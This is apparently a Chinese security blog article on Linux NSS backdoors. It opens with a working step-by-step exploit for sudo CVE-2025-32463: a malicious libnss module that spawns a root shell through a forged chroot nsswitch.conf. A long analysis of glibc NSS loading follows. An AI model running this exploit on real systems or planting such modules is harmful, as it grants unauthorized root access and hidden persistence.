NSS 后门 | Linux 后门系列
原创 NOP Team 2026-05-09 22:33 北京

愿心中的火永不熄灭!
赵姐是我永远的偶像!
0x01 从一个漏洞说起
2025 年 6 月 30 日,一个编号为 CVE-2025-32463 的 sudo 漏洞被公开披露,CVSS 评分 9.8(严重)。这个漏洞的特殊之处在于:任何本地普通用户,即使不在 sudoers 列表中,也能直接获取 root 权限。
不需要 0day,不需要复杂利用链,只需要几行命令。
漏洞的核心利用对象,是一个大多数运维人员从未关注过的配置文件——/etc/nsswitch.conf。
攻击者只需在可控目录下伪造一份 nsswitch.conf,指向一个恶意编译的 libnss_*.so.2 共享库,然后通过 sudo -R(chroot)触发加载。由于 sudo 在 chroot 后、降权前读取这份伪造的配置文件,恶意库便以 root 身份被 dlopen() 加载并执行构造函数——一个 root shell 就这样诞生了。
整个过程可以简化为:
mkdir -p /tmp/evil/{etc,lib}
echo 'passwd: files myevil' > /tmp/evil/etc/nsswitch.conf
gcc -shared -fPIC -o /tmp/evil/lib/libnss_myevil.so.2 payload.c
sudo -R /tmp/evil id是的,就这么简单。在 Ubuntu 24.04、Fedora 41、Debian、RHEL、Arch、WSL 2 等几乎所有主流 Linux 环境上均默认可用。
这个漏洞把一个长期被忽视的系统机制推到了聚光灯下:NSS(Name Service Switch)。它不仅是一个"无聊的配置文件",更是一个天然的代码执行入口。一旦被攻击者利用,它可以成为权限提升的跳板,也可以成为长期潜伏的后门。
本文将从 NSS 机制原理出发,深入剖析 NSS 后门的技术细节,涵盖从原理到实战、从攻击到防御的完整知识体系。
漏洞复现
环境要求:
sudo 版本:1.9.14 ~ 1.9.17(可通过
sudo --version确认)当前用户:任意普通用户,无需 sudo 权限
依赖:
gcc编译器
⚠️ 以下内容仅供安全研究与授权测试使用,请勿用于非法用途。
Step 1:确认 sudo 版本
sudo --version
Step 2:创建一个无 sudo 权限的普通用户
为了更真实地模拟攻击场景,我们先创建一个不具备任何 sudo 权限的普通用户:
# 以 root 身份执行
useradd -m -s /bin/bash testuser
passwd testuser验证该用户不在 sudoers 中:
su - testuser
sudo -l后续所有操作均以 testuser 身份进行。

Step 3:创建工作目录
WORKDIR=$(mktemp -d)
cd$WORKDIR
Step 4:编写恶意 NSS 模块
创建 evil.c:
#include<stdlib.h>
#include<unistd.h>
__attribute__((constructor))
voidpwn(void){
setreuid(0, 0);
setregid(0, 0);
chdir("/");
execl("/bin/bash", "bash", NULL);
}这段代码的关键在于 __attribute__((constructor))——它使得 pwn() 函数在共享库被 dlopen() 加载时自动执行,无需任何显式调用。函数内部通过 setreuid(0,0) 和 setregid(0,0) 将当前进程的 UID/GID 提升为 0(root),随后弹出一个 root shell。

Step 5:搭建伪造 chroot 环境
mkdir -p nop/etc
mkdir -p libnss_
echo"passwd: /nop" > nop/etc/nsswitch.conf
cp /etc/group nop/etc/这里有几个要点:
nsswitch.conf中passwd:后写的/nop,NSS 会按规则拼接为libnss_/nop.so.2。由于/nop以/开头,libnss_实际上变成了一个目录名,因此需要mkdir -p libnss_创建这个目录,再将编译好的nop.so.2放入其中复制
/etc/group是为了让getgrnam()调用不至于直接失败

Step 6:编译恶意共享库
gcc -shared -fPIC -Wl,-init,pwn -o libnss_/nop.so.2 evil.c
Step 7:触发漏洞
sudo -R nop id
# -R nop:chroot 到 nop 目录
# id:要执行的命令(无需存在,NSS 加载阶段就已触发,不会真正执行到这里)此时 sudo 执行流程如下:
sudo -R nop id
│
├─ chroot("nop") ← 切换根目录到攻击者可控的 nop/
│
├─ 读取 nop/etc/nsswitch.conf ← 加载伪造配置
│
├─ 解析 "passwd: /nop" ← 尝试加载 libnss_/nop.so.2
│
├─ dlopen("libnss_/nop.so.2") ← 以 root 身份加载恶意库
│
└─ pwn() 构造函数执行 ← setreuid(0,0) → root shell如果漏洞利用成功,将直接进入一个 root shell:

Step 8:清理
rm -rf $WORKDIR漏洞根因
这个漏洞的根源在于 sudo 对 -R(--chroot)选项的处理时序存在缺陷:
sudo 是一个 setuid root 二进制文件,启动时拥有 root 权限
从 sudo 1.9.14 开始,
-R选项会在策略评估阶段就执行chroot()chroot 之后,sudo 仍以 root 身份调用
getpwuid()等函数进行用户身份查询这些函数内部通过 NSS 机制读取
chroot内的/etc/nsswitch.conf攻击者完全控制 chroot 内的文件,从而注入恶意 NSS 模块
恶意模块在权限降低之前就已执行
简而言之:sudo 在一个攻击者可控的环境中,以 root 身份加载了攻击者指定的代码。
该漏洞已在 sudo 1.9.17p1 中修复,修复方式是回退了 1.9.14 中引入的 chroot 相关变更,并将 chroot 功能标记为 deprecated(已弃用),将在未来版本中完全移除。原因是该功能本身不被广泛使用,且由于 sudo 解析命令的方式,支持用户指定的 chroot 目录容易出错。
虽然漏洞已经修复了,但是关于 NSS 后门的相关探索还没开始,接下来我们将一点一点探索。
本文 PDF 版本下载地址: https://github.com/Just-Hack-For-Fun/papers
0x02 NSS 介绍
NSS,全称 Name Service Switch(名称服务切换),是 Linux/Unix 系统中用于控制"各类名称信息如何解析"的机制。
通俗地说,当系统需要回答这些问题时:
"用户 alice 的 UID 是多少?"
"www.example.com 的 IP 地址是什么?"
"80 端口对应什么服务?"
"用户 alice 属于哪些组?"
背后都是 NSS 在决定去哪里查、按什么顺序查。
配置文件:/etc/nsswitch.conf
NSS 的行为由 /etc/nsswitch.conf 控制。一个典型的配置文件如下:
passwd: files systemd
group: files systemd
shadow: files
hosts: files dns mdns4_minimal [NOTFOUND=return] dns
networks: files
protocols: files
services: files
ethers: files每一行的格式为:
<数据库>: <数据源1> [数据源2] [数据源3] ...系统会从左到右依次查询,直到找到结果或全部尝试完毕。
数据库列表
以下为 glibc 支持的用户可见数据库列表(来源:man nsswitch.conf 及 glibc 源码 nss/databases.def):
数据库 | 用途 | 相关函数 |
|---|---|---|
aliases | 邮件别名(当前被 glibc 忽略) | getaliasent(3) |
ethers | 以太网 MAC 地址映射 | ether_hostton(3) |
group | 用户组信息 | getgrent(3) |
gshadow | 组密码哈希(shadow group) | getsgnam(3) |
hosts | 主机名 ↔ IP 映射 | gethostbyname(3) |
initgroups | 补充组访问列表 | getgrouplist(3) |
netgroup | 网络范围的主机/用户列表(用于访问控制) | setnetgrent(3) |
networks | 网络名 ↔ 网络地址 | getnetent(3) |
passwd | 用户账号信息 | getpwent(3) |
protocols | 网络协议名 ↔ 协议号 | getprotoent(3) |
publickey | Secure RPC 公钥/私钥(NFS、NIS+ 使用) | — |
rpc | RPC 程序名 ↔ 程序号 | getrpcbyname(3) |
services | 网络服务名 ↔ 端口映射 | getservent(3) |
shadow | 用户密码哈希(shadow password) | getspnam(3) |
说明:glibc 内部还定义了
passwd_compat、group_compat、shadow_compat三个伪数据库,用于 compat 模式下的 NIS 查询,普通用户无需关心,因此未列入上表。
此外,一些应用程序会扩展自己的 NSS 数据库。例如 sudo 使用 sudoers 数据库,subuid(5) / subgid(5) 使用 subid 数据库。glibc 会忽略未知的数据库名,而第三方程序可以自行解析。
常见数据源
与数据库不同,数据源列表不是固定的。NSS 的数据源完全取决于系统上安装了哪些 libnss_*.so.2 共享库——每安装一个共享库,就多一个可用的数据源。
我们可以通过查看系统上的库文件来确认当前可用的数据源:
find / -name 'libnss_*.so*' -type f 2>/dev/null
Ubuntu Server 24.04 系统上默认有 5 个 NSS 库,对应 5 个数据源。其中 4 个来自 glibc 内置,另外 1 个 libnss_systemd.so.2 来自 systemd 包。如果安装了 libnss-ldap 包,就会多出 libnss_ldap.so.2,数据源列表也随之增长。
可以通过
dpkg -S确认每个库所属的软件包:libnss_compat.so.2 → libc6 (glibc)
libnss_dns.so.2 → libc6 (glibc)
libnss_files.so.2 → libc6 (glibc)
libnss_hesiod.so.2 → libc6 (glibc)
libnss_systemd.so.2 → libnss-systemd
以下是 glibc 内置的标准数据源(共 4 个,均来自 libc6 包):
数据源 | 共享库 | 说明 |
|---|---|---|
files | libnss_files.so.2 | 查本地文件(如 |
dns | libnss_dns.so.2 | 通过 DNS 协议查询(仅 |
compat | libnss_compat.so.2 | 兼容模式,类似 |
hesiod | libnss_hesiod.so.2 | 通过 Hesiod 名称服务查询(MIT 开发的 DNS 式目录服务) |
以下为常见的第三方扩展数据源(需额外安装对应软件包):
数据源 | 安装包 | 说明 |
|---|---|---|
systemd | systemd(通常预装) | 查 systemd-machined / systemd-resolved |
ldap | libnss-ldap | 查 LDAP 目录服务 |
sss | sssd | 查 SSSD(System Security Services Daemon) |
winbind | winbind(Samba) | 查 Windows 域控制器 |
nis / | libnss-nis | 查 NIS/NIS+ 网络信息服务 |
mdns4_minimal | libnss-mdns | 通过 mDNS(组播 DNS)在局域网内查询 |
resolve | systemd-resolved | 通过 systemd-resolved 查询 |
myhostname | systemd | 将本地主机名解析为本地 IP |
mymachines | systemd | 解析本地容器(systemd-nspawn)的主机名 |
这种"共享库即数据源"的设计,正是 NSS 后门得以实现的基础——攻击者只需提供一个自定义的 libnss_*.so.2,就能让系统加载并执行任意代码。
为什么是 .so.2 而不是 .so?
如果阅读过《程序员的自我修养》这本书,一定对这部分内容不陌生
所有 NSS 库文件名都以 .so.2 结尾,而不是常见的 .so。这里的 .2 是共享库的 SONAME 版本号,代表 ABI(应用二进制接口)的兼容版本。
man nsswitch.conf 中有明确说明:
Libraries called /lib/libnss_SERVICE.so.X will provide the named SERVICE. The version number X may be 1 for glibc 2.0, or 2 for glibc 2.1 and later.
SONAME | 对应 glibc 版本 |
|---|---|
.so.1 | glibc 2.0(已淘汰) |
.so.2 | glibc 2.1 及之后所有版本(当前所有现代 Linux) |
glibc 在内部通过 dlopen() 加载 NSS 模块时,硬编码查找的就是 libnss_xxx.so.2。这意味着:
攻击者构造恶意库时,文件名必须是
libnss_xxx.so.2,而不能是libnss_xxx.so这也是为什么在前面漏洞复现的编译步骤中,输出文件名必须带
.so.2后缀
一个具体的例子
当执行 ping www.example.com 时,系统内部实际的解析流程是:
ping www.example.com
│
└─ gethostbyname("www.example.com") ← glibc 函数调用
│
└─ NSS 读取 /etc/nsswitch.conf 中 hosts 行
│
│ hosts: files dns mdns4_minimal
│
├─ 先查 files → /etc/hosts 中有没有?没有则继续
│
└─ 再查 dns → 发起 DNS 查询 → 获得 93.184.216.34可以看到,NSS 作为一个中间层,连接了上层的 glibc 函数调用(如 gethostbyname、getpwnam)和底层的各种数据源(本地文件、DNS、LDAP 等)。
动态加载机制:关键所在
NSS 最关键的设计在于:每个数据源对应一个共享库文件。
当 NSS 需要查询某个数据源时,它通过 dlopen()动态加载对应的共享库。库文件的命名规则为:
libnss_<数据源名>.so.2例如:
数据源 | 对应的共享库 |
|---|---|
files | /lib/x86_64-linux-gnu/libnss_files.so.2 |
dns | /lib/x86_64-linux-gnu/libnss_dns.so.2 |
ldap | /lib/x86_64-linux-gnu/libnss_ldap.so.2 |
mdns4_minimal | /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 |
这意味着:只要能在 nsswitch.conf 中控制数据源名称,就能让系统加载任意的 .so 文件。
这也是 CVE-2025-32463 以及各类 NSS 后门的核心利用点——下一节我们将深入探讨这一点。
0x03 NSS 机制深入
本章源码分析基于 glibc 2.39(Ubuntu 24.04 当前版本),源码获取方式:
git clone --branch glibc-2.39 https://sourceware.org/git/glibc.git
3.1 配置文件语法完全解析
/etc/nsswitch.conf 每一行的完整语法为:
<数据库>: <数据源1> [STATUS=ACTION] <数据源2> [STATUS=ACTION] ...基本元素
数据库:第一列,如
passwd、hosts、group等(0x02 已列出完整列表)数据源:后续每列,如
files、dns、ldap等条件动作:用方括号
[...]包裹,紧跟在数据源后面
系统按从左到右的顺序依次查询每个数据源,查询结果会触发对应的条件动作,决定是继续还是停止。
STATUS:查询结果的四种状态
每次 NSS 查询可能返回以下四种状态(定义于 nss/nss.h)。另外,NSS_STATUS_RETURN 是 glibc 内部使用的第五个枚举值,主要用于边界检查和 compat/netgrp 等内部模块的特殊流程控制,第三方 NSS 模块通常不需要返回该状态:
enum nss_status
{
NSS_STATUS_TRYAGAIN = -2, // 服务暂时不可用(如文件被锁、服务器繁忙)
NSS_STATUS_UNAVAIL, // 服务永久不可用(如文件不存在、服务器离线)
NSS_STATUS_NOTFOUND, // 查询成功但未找到目标条目
NSS_STATUS_SUCCESS, // 查询成功且找到了目标条目
NSS_STATUS_RETURN, // 内部标记值,用于边界检查和终止动作,不由模块返回
};ACTION:三种响应动作
动作 | 含义 |
|---|---|
return | 立即返回当前结果,不再查询后续数据源 |
continue | 忽略当前结果,继续查询下一个数据源 |
merge | 合并当前结果与下一个数据源的结果(仅 |
条件动作语法
[STATUS=ACTION]
[!STATUS=ACTION]!表示取反:匹配除指定状态外的所有状态大小写不敏感(源码中使用
__strncasecmp比较)一个方括号内可以写多个条件,用空格分隔
默认行为
如果不写任何 [STATUS=ACTION],每个数据源使用以下默认动作:
STATUS | 默认 ACTION |
|---|---|
SUCCESS | return |
NOTFOUND | continue |
UNAVAIL | continue |
TRYAGAIN | continue |
这个默认行为在源码 nss/nss_action_parse.c 中可以清晰看到(第 64-66 行):
nss_action_set_all (&new_service, NSS_ACTION_CONTINUE);
nss_action_set (&new_service, NSS_STATUS_SUCCESS, NSS_ACTION_RETURN);
nss_action_set (&new_service, NSS_STATUS_RETURN, NSS_ACTION_RETURN);即:先将所有状态设为 CONTINUE,然后将 SUCCESS 和 RETURN 覆盖为 RETURN。
实际配置示例解读
示例 1:Ubuntu 24.04 实际配置
hosts: files dns解析流程:
1. 查 files(本地 /etc/hosts)
- SUCCESS → return(默认:找到了就直接返回)
- NOTFOUND → continue(默认:没找到继续查 dns)
- UNAVAIL → continue(默认)
2. 查 dns(DNS 服务器查询)
- SUCCESS → return(默认)
- NOTFOUND → return(默认)
- UNAVAIL → return(默认)示例 2:带条件动作的配置(常见于安装了 mDNS 的系统)
hosts: files mdns4_minimal [NOTFOUND=return] dns解析流程:
1. 查 files(本地 /etc/hosts)
- SUCCESS → return(默认)
- NOTFOUND → continue(默认)
- UNAVAIL → continue(默认)
2. 查 mdns4_minimal(mDNS 局域网解析)
- SUCCESS → return(默认)
- NOTFOUND → return(显式指定:局域网没找到就放弃,不再查后面的 dns)
- UNAVAIL → continue(默认)
3. 查 dns(DNS 服务器查询)
- 作为 mdns4_minimal NOTFOUND 之外情况的后备示例 3:取反操作符
hosts: dns [!UNAVAIL=return] files!UNAVAIL=return 的含义是:对除 UNAVAIL 之外的所有状态执行 return。等价于同时写了:
hosts: dns [SUCCESS=return NOTFOUND=return TRYAGAIN=return] files即:DNS 只要在运行(不管找到没找到),就直接返回结果;只有 DNS 完全不可用时,才回退到 files。
一个关键细节:NOTFOUND 和 UNAVAIL 的区别
在理解 NSS 后门之前,必须搞清楚一个容易混淆的问题。以 passwd 数据库为例:
passwd: files ldap当查找用户 test1 时,如果 /etc/passwd 中没有这个用户,files 数据源会返回什么状态?
很多人会直觉认为是"没找到"或者"不可用",但 NSS 对此有精确的区分:
状态 | 含义 | 触发条件 | 默认动作 |
|---|---|---|---|
NOTFOUND | 数据源可用,但查不到目标条目 | /etc/passwd正常打开、逐行遍历完毕,但里面没有 test1 | continue |
UNAVAIL | 数据源本身不可用 | /etc/passwd文件不存在,或无法打开 | continue |
两者的默认动作都是 continue,会继续查下一个数据源。也就是说:
files中没找到用户 → 返回NOTFOUND→continue→ 继续查ldapfiles不可用(文件被删)→ 返回UNAVAIL→continue→ 继续查ldapfiles中找到了用户 → 返回SUCCESS→return→ 停止查询,不再查ldap
这个"NOTFOUND 默认 continue"的行为,正是 NSS 后门的核心前提:攻击者可以在 files 后面追加一个恶意数据源(如 nop),当系统用户查找在 /etc/passwd 中找不到时,查询会自动落到恶意模块上。恶意模块可以返回一个伪造的用户条目(如 UID=0 的后门账户),而合法用户(在 files 中能找到的)完全不受影响。
3.2 源码解析:glibc 如何加载 NSS 模块
本节将从源码层面追踪一个完整的 NSS 查询过程。
先从一个日常场景说起:当你在终端执行 id alice 时,系统需要知道用户 alice 的 UID、GID、所属组等信息。这些信息存储在 /etc/passwd 中,但系统并不是直接读文件——而是通过 glibc 提供的 getpwnam() 函数来查询。
getpwnam("alice") 的含义是:"按用户名(passwd name)查找用户信息"。它返回一个 struct passwd 结构体,包含用户名、UID、GID、home 目录、shell 等字段。
许多常见的系统操作都会间接调用这个函数:
命令/操作 | 内部调用 |
|---|---|
id alice | getpwnam("alice") |
ls -l(显示文件属主) | getpwuid(uid)(按 UID 查) |
ssh alice@host | getpwnam("alice") |
sudo | getpwuid(uid) + |
login | getpwnam("alice") |
而 getpwnam() 正是通过 NSS 机制来决定"去哪里查"。接下来我们就追踪这个调用链。
调用链总览
应用程序: getpwnam("alice")
│
└─ glibc: __getpwnam_r("alice", ...) ← getXXbyYY_r.c 模板展开
│
├─ __nss_passwd_lookup2(&nip, ...) ← 获取 passwd 数据库的配置
│ │
│ └─ __nss_database_get(nss_database_passwd, &actions) ← nss_database.c
│ │
│ └─ nss_database_check_reload_and_get(...) ← 检查是否需要重新加载配置
│
├─ __nss_lookup_function(nip, "getpwnam_r") ← nsswitch.c
│ │
│ └─ __nss_module_get_function(module, "getpwnam_r") ← nss_module.c
│ │
│ ├─ __nss_module_load(module) ← 确保 .so 已加载
│ │ │
│ │ └─ module_load(module) ← 实际加载逻辑
│ │ │
│ │ ├─ files/dns → 内置模块,直接绑定函数指针
│ │ └─ 其他 → __libc_dlopen("libnss_xxx.so.2")
│ │
│ └─ 从已加载模块中查找 "_nss_files_getpwnam_r" 函数
│
└─ 调用 _nss_files_getpwnam_r("alice", ...) ← 执行实际查询关键步骤一:读取和解析 nsswitch.conf
当进程首次进行 NSS 查询时,glibc 调用 __nss_database_get()(nss/nss_database.c),该函数内部调用 nss_database_check_reload_and_get():
检查配置是否变化(nss_database.c 第 409-414 行):
structfile_change_detectioninitial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
returntrue;
}glibc 通过 stat() 系统调用检测 /etc/nsswitch.conf 的文件元信息(大小、修改时间等)是否变化。如果没变,直接返回缓存的配置。如果变化了,就重新打开文件、逐行解析。
逐行解析(nss_database.c 第 208-237 行):
staticbool
process_line(struct nss_database_data *data, char *line)
{
// 跳过前导空白
while (isspace (line[0])) ++line;
// 识别 "<database> :" 部分
char *name = line;
while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':') ++line;
// ... 截断冒号和空白 ...
int db = name_to_database_index (name);
if (db < 0)
returntrue; // 不是 glibc 管理的数据库(如 sudoers),跳过
nss_action_list result = __nss_action_parse (line); // 解析数据源列表
data->services[db] = result;
returntrue;
}注意第 228-230 行:如果数据库名不在 glibc 已知列表中(如 sudoers),会被静默忽略。
关键步骤二:构造共享库文件名并 dlopen
当查询需要使用某个数据源时,__nss_module_get_function()(nss/nss_module.c 第 323 行)被调用。它先确保模块已加载,然后查找函数指针。
加载模块的核心逻辑(nss_module.c 第 170-189 行):
staticbool
module_load(struct nss_module *module)
{
// files 和 dns 是内置模块,不走 dlopen
if (strcmp (module->name, "files") == 0)
return module_load_nss_files (module);
if (strcmp (module->name, "dns") == 0)
return module_load_nss_dns (module);
// 其他模块:构造文件名并 dlopen
char *shlib_name;
if (__asprintf (&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < 0)
returnfalse;
handle = __libc_dlopen (shlib_name);
free (shlib_name);文件名构造规则(nss_module.c 第 43-44 行):
staticconstchar *const __nss_shlib_revision
= LIBNSS_FILES_SO + sizeof("libnss_files.so") - 1;LIBNSS_FILES_SO 是编译时生成的宏,值为 "libnss_files.so.2"。通过指针偏移提取出 ".2" 部分。然后用 __asprintf 拼接为:
libnss_<数据源名>.so.2例如数据源名为 files → libnss_files.so.2,数据源名为 ldap → libnss_ldap.so.2。
__libc_dlopen 的搜索路径:
__libc_dlopen 是 glibc 内部版本的 dlopen,它不受LD_LIBRARY_PATH 环境变量影响(出于安全考虑)。它搜索的路径由 /etc/ld.so.cache 和默认路径 /lib/x86_64-linux-gnu/、/usr/lib/x86_64-linux-gnu/ 决定。
加载后查找函数(nss_module.c 第 226-239 行):
for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
{
char *function_name;
if (__asprintf (&function_name, "_nss_%s_%s",
module->name, nss_function_name_array[idx]) < 0)
{ /* ... */ }
pointers[idx] = __libc_dlsym (handle, function_name);
free (function_name);
}加载 .so 后,glibc 会立即用 dlsym 查找模块中所有可能的 NSS 函数(如 _nss_files_getpwnam_r、_nss_files_getpwuid_r 等),缓存函数指针。模块不需要导出所有函数,缺失的函数指针为 NULL,查询时会跳过。
关键步骤三:状态机驱动的查询循环
回到查询入口 getXXbyYY_r.c(第 264-345 行),核心循环如下:
no_more = DB_LOOKUP_FCT (&nip, REENTRANT_NAME_STRING, ...);
while (no_more == 0)
{
status = DL_CALL_FCT (fct.l, (ADD_VARIABLES, resbuf, buffer, ...));
// 根据 status 和配置中的 [STATUS=ACTION] 决定下一步
no_more = __nss_next2 (&nip, ..., status, 0);
}每次调用一个数据源的函数后,__nss_next2()(nsswitch.c 第 91 行)根据返回的 status 查找配置中对应的 action:
NSS_ACTION_RETURN→ 结束查询,返回当前结果NSS_ACTION_CONTINUE→ 移动到下一个数据源,继续查询NSS_ACTION_MERGE→ 合并结果后继续
3.3 源码解析:如何编写一个 NSS 模块
基于对 glibc 源码的分析,本节将总结编写 NSS 模块的通用规范。理解这些规范后,你可以为任意数据库(passwd、hosts、group 等)编写自定义模块。
通用函数命名规则
所有 NSS 模块导出的函数遵循统一的命名规则:
_nss_<数据源名>_<NSS函数名>其中 <NSS函数名> 来自 glibc 维护的固定列表(定义于 nss/function.def,共 64 个函数)。glibc 在加载模块时会遍历这个列表,用 dlsym 查找每个函数是否存在。
完整的函数列表如下:
endaliasent getaliasbyname_r getaliasent_r setaliasent
endetherent getetherent_r gethostton_r getntohost_r setetherent
endgrent getgrent_r getgrgid_r getgrnam_r setgrent
endhostent gethostbyaddr_r gethostbyaddr2_r gethostbyname_r gethostbyname2_r
gethostbyname3_r gethostbyname4_r gethostent_r sethostent
getcanonname_r
endnetent getnetbyaddr_r getnetbyname_r getnetent_r setnetent
endnetgrent getnetgrent_r setnetgrent
endprotoent getprotobyname_r getprotobynumber_r getprotoent_r setprotoent
endpwent getpwent_r getpwnam_r getpwuid_r setpwent
endrpcent getrpcbyname_r getrpcbynumber_r getrpcent_r setrpcent
endservent getservbyname_r getservbyport_r getservent_r setservent
endsgent getsgent_r getsgnam_r setsgent
endspent getspent_r getspnam_r setspent
getpublickey getsecretkey
initgroups_dyn netname2user一个模块不需要导出所有 64 个函数。glibc 会用 dlsym 逐个查找,找不到的函数指针置为 NULL,查询时自动跳过。模块只需实现自己关心的数据库对应的函数子集。
按数据库分组的函数子集
为了更直观地理解,我们将 64 个函数按数据库分组:
passwd 数据库(用户信息):
函数名 | 用途 |
|---|---|
_nss_xxx_setpwent | 初始化遍历 |
_nss_xxx_endpwent | 结束遍历 |
_nss_xxx_getpwent_r | 逐条遍历 |
_nss_xxx_getpwnam_r | 按用户名查找 |
_nss_xxx_getpwuid_r | 按 UID 查找 |
group 数据库(用户组信息):
函数名 | 用途 |
|---|---|
_nss_xxx_setgrent | 初始化遍历 |
_nss_xxx_endgrent | 结束遍历 |
_nss_xxx_getgrent_r | 逐条遍历 |
_nss_xxx_getgrnam_r | 按组名查找 |
_nss_xxx_getgrgid_r | 按 GID 查找 |
_nss_xxx_initgroups_dyn | 获取用户的补充组列表 |
hosts 数据库(主机名解析):
函数名 | 用途 |
|---|---|
_nss_xxx_sethostent | 初始化遍历 |
_nss_xxx_endhostent | 结束遍历 |
_nss_xxx_gethostent_r | 逐条遍历 |
_nss_xxx_gethostbyname_r | 按主机名查找(IPv4) |
_nss_xxx_gethostbyname2_r | 按主机名查找(指定地址族) |
_nss_xxx_gethostbyname3_r | 扩展版(含额外统计信息) |
_nss_xxx_gethostbyname4_r | 支持 IPv6 的扩展版 |
_nss_xxx_gethostbyaddr_r | 按 IP 地址反查主机名 |
_nss_xxx_gethostbyaddr2_r | 扩展版 |
_nss_xxx_getcanonname_r | 获取规范主机名 |
可以看到,不同数据库的函数数量和复杂度差异很大。passwd 最简单(5 个函数),hosts 最复杂(10 个函数)。一个最小化的模块通常只实现其中的 1-2 个查询函数即可。
通用返回值约定
所有 NSS 查询函数(无论哪个数据库)都返回 enum nss_status(nss/nss.h):
enum nss_status
{
NSS_STATUS_TRYAGAIN = -2, // 临时失败(如缓冲区太小)
NSS_STATUS_UNAVAIL, // 服务不可用
NSS_STATUS_NOTFOUND, // 查询完成但未找到
NSS_STATUS_SUCCESS, // 查询成功
};通用参数约定
所有查询函数都遵循相同的参数模式:
enum nss_status
_nss_xxx_getXXbyYY_r (<查询参数>,
<结果结构体> *result,
char *buffer,
size_t buflen,
int *errnop)查询参数:因数据库而异(如 passwd 是
const char *name或uid_t uid,hosts 是const char *hostname)result:输出参数,结构体类型因数据库而异(
struct passwd、struct hostent、struct group等)buffer:调用方提供的缓冲区,用于存放 result 中指针所指向的字符串数据
buflen:缓冲区大小
errnop:错误码输出,
ERANGE表示缓冲区太小
libnss_files 源码分析(以 passwd 为例)
理解了命名规则和调用约定后,我们来看 glibc 官方模块的完整执行流程。以 passwd 数据库为例,当应用程序调用 getpwnam("alice") 时,经过 3.2 节分析的 NSS 框架层后,最终会调用到 libnss_files.so.2 中的 _nss_files_getpwnam_r 函数。
这个函数从哪里来?
nss/nss_files/files-pwd.c 整个文件只有约 45 行:
#include<pwd.h>
#include<nss.h>
#define STRUCTURE passwd
#define ENTNAME pwent
#define DATABASE "passwd"
structpwent_data {};
#define EXTERN_PARSER
#include"files-parse.c"
#include GENERIC
DB_LOOKUP (pwnam, '.', 0, ("%s", name),
{
if (name[0] != '+' && name[0] != '-'
&& ! strcmp (name, result->pw_name))
break;
}, constchar *name)
DB_LOOKUP (pwuid, '=', 20, ("%lu", (unsignedlongint) uid),
{
if (result->pw_uid == uid && result->pw_name[0] != '+'
&& result->pw_name[0] != '-')
break;
}, uid_t uid)代码很短,但信息量很大。先看前半部分的宏定义和 include:
STRUCTURE passwd→ 结果结构体类型为struct passwdDATABASE "passwd"→ 数据文件路径为/etc/passwd(由files-XXX.c中#define DATAFILE "/etc/" DATABASE拼接)ENTNAME pwent→ 用于拼接函数名(如_nss_files_setpwent、_nss_files_endpwent)#include "files-parse.c"→ 引入行解析器,负责将/etc/passwd的每一行文本解析为struct passwd#include GENERIC(展开为files-XXX.c)→ 引入通用框架,提供setpwent/endpwent/getpwent_r等函数,以及DB_LOOKUP宏定义
再看后半部分的 DB_LOOKUP 调用。DB_LOOKUP 是定义在 files-XXX.c 中的一个宏,它是一个函数生成器,通过 C 预处理自动生成完整的查询函数。宏定义如下:
#define DB_LOOKUP(name, db_char, keysize, keypattern, break_if_match, proto...)\
enum nss_status \
_nss_files_get##name##_r (proto, \
struct STRUCTURE *result, char *buffer, \
size_t buflen, int *errnop) \
{ \
enum nss_status status; \
FILE *stream = NULL; \
status = internal_setent (&stream); \
if (status == NSS_STATUS_SUCCESS) \
{ \
while ((status = internal_getent (stream, result, buffer, buflen, errnop))\
== NSS_STATUS_SUCCESS) \
{ break_if_match } \
fclose (stream); \
} \
return status; \
}以 DB_LOOKUP(pwnam, ...) 为例,参数对应关系为:
宏参数 | 传入值 | 展开后的作用 |
|---|---|---|
name | pwnam | 通过 |
db_char | '.' | 数据库分隔符(本模板未使用) |
keysize | 0 | 键大小(本模板未使用) |
keypattern | ("%s", name) | 键格式(本模板未使用) |
break_if_match | { if (...) break; } | 替换到 while 循环体内,作为匹配条件 |
proto... | const char *name | 变长参数,展开到函数参数列表开头 |
展开过程中有三个关键机制:
##name##标记粘合(token pasting):C 预处理将_nss_files_get+pwnam+_r拼成一个标识符_nss_files_getpwnam_rproto...变长宏参数:const char *name原样展开到函数参数列表的第一个位置STRUCTURE宏替换:files-pwd.c开头定义了#define STRUCTURE passwd,所以struct STRUCTURE变成struct passwd
展开后的完整函数如下:
enum nss_status
_nss_files_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
enum nss_status status;
FILE *stream = NULL;
status = internal_setent (&stream);
if (status == NSS_STATUS_SUCCESS)
{
while ((status = internal_getent (stream, result, buffer, buflen, errnop))
== NSS_STATUS_SUCCESS)
{
if (name[0] != '+' && name[0] != '-'
&& ! strcmp (name, result->pw_name))
break;
}
fclose (stream);
}
return status;
}完整的执行流程如下:
_nss_files_getpwnam_r("alice", ...)
│
├─ 1. internal_setent(&stream)
│ ├─ 调用 __nss_files_fopen(DATAFILE)
│ │ DATAFILE = "/etc/" + DATABASE = "/etc/passwd"
│ ├─ 打开成功 → 返回 NSS_STATUS_SUCCESS
│ └─ 打开失败(文件不存在)→ 返回 NSS_STATUS_UNAVAIL
│
├─ 2. internal_getent(stream, result, buffer, ...) ← 循环调用
│ ├─ __nss_readline() 从文件读取一行文本
│ │ ├─ 文件结束 → 返回 NSS_STATUS_NOTFOUND
│ │ └─ 读取成功 → 继续
│ ├─ parse_line() 将文本行解析为 struct passwd
│ │ 例:将 "root:x:0:0:root:/root:/bin/bash" 解析为
│ │ result->pw_name="root", pw_uid=0, pw_gid=0, ...
│ │ ├─ 解析成功 → 返回 NSS_STATUS_SUCCESS
│ │ └─ 格式错误 → 跳过此行,读下一行
│ └─ 返回 NSS_STATUS_SUCCESS(一条记录已解析到 result 中)
│
├─ 3. 匹配检查(break_if_match)
│ 比较 name("alice") 与 result->pw_name
│ ├─ 匹配 → break 跳出循环,返回 NSS_STATUS_SUCCESS
│ └─ 不匹配 → 继续下一次 internal_getent
│
